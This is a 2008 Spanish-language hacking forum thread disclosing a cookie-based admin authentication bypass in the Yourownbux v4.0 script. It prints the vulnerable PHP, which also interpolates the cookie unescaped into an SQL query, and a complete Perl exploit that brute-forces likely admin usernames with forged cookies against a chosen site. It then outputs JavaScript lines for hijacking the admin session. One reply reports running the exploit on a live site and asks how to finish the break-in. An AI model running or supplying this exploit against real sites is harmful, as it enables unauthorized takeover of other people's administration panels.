[°] Yourownbux v4.0 => Cookie Modification Exploit

Iniciado por Tec-n0x, 11 Septiembre 2008, 03:51 AM

0 Miembros y 2 Visitantes están viendo este tema.

Tec-n0x

Bueno, esto lo descubri hace un par de dias .. Ahora lo publico.

Vulnerable: /admin/header.php

Código (php) [Seleccionar]

<?php
 
$user 
$_COOKIE["usNick"];
 
 $myDb-&gt;connect();
 
$sql "SELECT * FROM yob_users WHERE username='$user'";
 
$result mysql_query($sql);
 
$row mysql_fetch_array($result);
 
$myDb-&gt;close(); 
 
$is_admin $row['user_status'];
 
 if(
$is_admin != "admin"){
 
 $display_error "* You must login as administrator to access this page.";
 
 include ('error.php');  exit();
 
 }
 
?>


Como pueden ver, Solo se valida la cookie usNick, por lo tanto si tienes el usuario admin correcto, añadiendo las cookies puedes tener acceso al admin panel.

Y un pequeño Exploit para la explotacion es el siguiente:

Código (perl) [Seleccionar]

#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

#+-------------------------------------------------------------+-#
#+ Yourownbux v4.0                   --------------------------+--+
#+ Cookie Modification Exploit --------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------++
#
# + Gr33tz: OzX, Celciuz, N.O.X && All Friends --++
#+-------------------------------------------------------------+----#



system("clear");

print "
# Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com
\n# Thanks OzX\n\n";
print "Target [ Example: www.sitedemo.com ] :\n> ";
$target = <STDIN>;
chop($target);

if($target =~ m/www\.(.*)\.(.*)/) {

$other = $1;
check1($target);

} else {
print "\nInvalid Target.";
exit();
}

sub explote {

@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other");
# Add Posible Users.

$check = shift;

foreach $user (@tryusers) {

$pass = "Tec-n0x";

print "\n\tTrying > $user\n";

$browser = LWP::UserAgent->new();
$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
$get = HTTP::Request->new(GET => $check);
$resp = $browser->request($get);
$content = $resp->content();

@code = split("\n",$content);

foreach $checka (@code) {

if($checka =~ m/Emails|Served|Workload|Overview/) {

system("clear");

print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";

$vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
$vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";

print "

+------------------------------------+
+ $vd\n+ $vda
+------------------------------------+
";


$yes = 1;

exit();

}
}
}

if($yes != 1) {

print "\n\n\nExploit Failed";

exit();

}

}
sub check1 {

$target = shift;

$check = "http\:\/\/$target\/admin\/index\.php";

$browser = LWP::UserAgent->new();
$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
$get = HTTP::Request->new(GET => $check);
$resp = $browser->request($get);
$content = $resp->content();

@code = split("\n",$content);

foreach $checka (@code) {

if($checka =~ m/You must login as administrator to access this page/) {

print "Check 1 [ OK ]\n";

$success = 1;

explote($check);

}

}

if($sucess != 1) {

print "Failed";

exit();

}

}


El Post original, Clickeando Aqui.

Saludos

sirdarckcat


~Shinji~

Can someone please write how can this problem be solved? thanks! :p

@sirdarckcat: can you write the code? and if you can also the solution :p

THANKS TO ALL!!

-----------

   
¿Puede alguien por favor escribir cómo este problema puede ser resuelto? gracias! :p

@ sirdarckcat: ¿puede usted escribir el código? y si puedes también la solución :p

Gracias a todos!

Tec-n0x

#3
Edito el mensaje:

Puse el fix pero bueno mejor no :P

La solucion es Simple: Validar la cookie UsPass

~Shinji~  : If you still want the fix contact me via MSN.


~Shinji~

#4
added :)

ps: are you the same as $pass = "Tec-n0x"; ? ;D

Tec-n0x

#5
Cita de: ~Shinji~ en 13 Septiembre 2008, 17:51 PM
added :)

ps: are you the same as $pass = "Tec-n0x"; ? ;D

Yes, i Found the bug.

Link Milw0rm

berz3k

XDD, esta a simple vista la injection nice! good bug

PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD

-berz3k.

Tec-n0x

#7
Cita de: berz3k en 13 Septiembre 2008, 21:16 PM
XDD, esta a simple vista la injection nice! good bug

PD: Creo que su blogroll de tec-n0x hay personajes no queridos XDD

-berz3k.


Sep, tienes razon con lo de la inyeccion ..

El que no sabe donde esta es porque no quiere saber  :P ..

PD: Te envie un MP para que me dijeras quienes son los no queridos XD !

De todas formas los que estan ahi son porque me caen bien y aparte que las 3 webs que puse por ahora .. tienen buen contenido :) Saludos

mit

Ya decia yo que te me hacias conocido Tec-nox, eres de GPT latino jeje, amigo aprovechando tu post, tendras algun script de pago instantaneo y con los posibles bugs que tenga, yo tratare de repararlos.

Saludos y buen bug :)

:D

DjComand

Hola a todos, estoy empezando con esto de compilar exploits y hacerlos funcionar.

He encontrado una pagina vurnerable a este bug, el resultado es el siguiente:

Valid Username: admin

Go to: http://www.xxxxx.com/admin/index.php

And Put this on your browser:

+------------------------------------+
+ javascript:document.cookie = "usNick=admin; path=/";
+ javascript:document.cookie = "usPass=Dropsec.com; path=/";


Mi pregunta es, abro el admin/index.php,
Y que tengo que poner?

No me aclaro, puede ser una tonteria pero pensad que soy nuevo en esto :$

Muchas gracias un saludo ;)